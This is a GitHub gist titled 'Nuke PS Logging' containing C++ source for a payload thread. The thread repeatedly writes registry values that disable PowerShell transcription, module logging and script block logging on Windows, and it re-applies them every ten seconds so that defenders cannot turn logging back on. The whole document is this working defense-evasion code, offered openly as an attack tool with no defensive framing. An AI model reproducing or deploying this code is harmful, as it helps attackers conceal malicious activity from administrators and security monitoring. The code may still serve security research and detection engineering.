Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@moohax
Forked from leechristensen/NukePSLogging.cpp
Created February 13, 2018 07:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save moohax/c53c7b809f7aa9a41c26b88b685afd50 to your computer and use it in GitHub Desktop.
Save moohax/c53c7b809f7aa9a41c26b88b685afd50 to your computer and use it in GitHub Desktop.
Nuke PS Logging
void Payload() {
DWORD threadId;
CreateThread(
NULL, // default security attributes
0, // use default stack size
MyThreadFunction, // thread function name
NULL, // argument to thread function
0, // use default creation flags
&threadId);
}
DWORD WINAPI MyThreadFunction(LPVOID lpParam) {
HKEY hKey;
LPCSTR sKeyPath;
int iResult;
DWORD value = 0x00000000;
while (TRUE) {
sKeyPath = "SOFTWARE\\Wow6432Node\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription";
iResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, sKeyPath, NULL, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKey);
if (iResult == ERROR_SUCCESS) {
if (ERROR_SUCCESS != RegSetValueEx(hKey,
TEXT("EnableTranscripting"),
NULL,
REG_DWORD,
(const BYTE*)&value, // Change made here.
sizeof(value))) {
OutputDebugString("Failed to add key");
}
}
else {
printf("Could not open key: %d", iResult);
}
sKeyPath = "SOFTWARE\\Wow6432Node\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging";
iResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, sKeyPath, NULL, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKey);
if (iResult == ERROR_SUCCESS) {
if (ERROR_SUCCESS != RegSetValueEx(hKey,
TEXT("EnableModuleLogging"),
NULL,
REG_DWORD,
(const BYTE*)&value, // Change made here.
sizeof(value))) {
OutputDebugString("Failed to add key");
}
}
else {
printf("Could not open key: %d", iResult);
}
sKeyPath = "SOFTWARE\\Wow6432Node\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging";
iResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, sKeyPath, NULL, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKey);
if (iResult == ERROR_SUCCESS) {
if (ERROR_SUCCESS != RegSetValueEx(hKey,
TEXT("EnableScriptBlockLogging"),
NULL,
REG_DWORD,
(const BYTE*)&value, // Change made here.
sizeof(value))) {
OutputDebugString("Failed to add key");
}
}
else {
printf("Could not open key: %d", iResult);
}
Sleep(10000);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment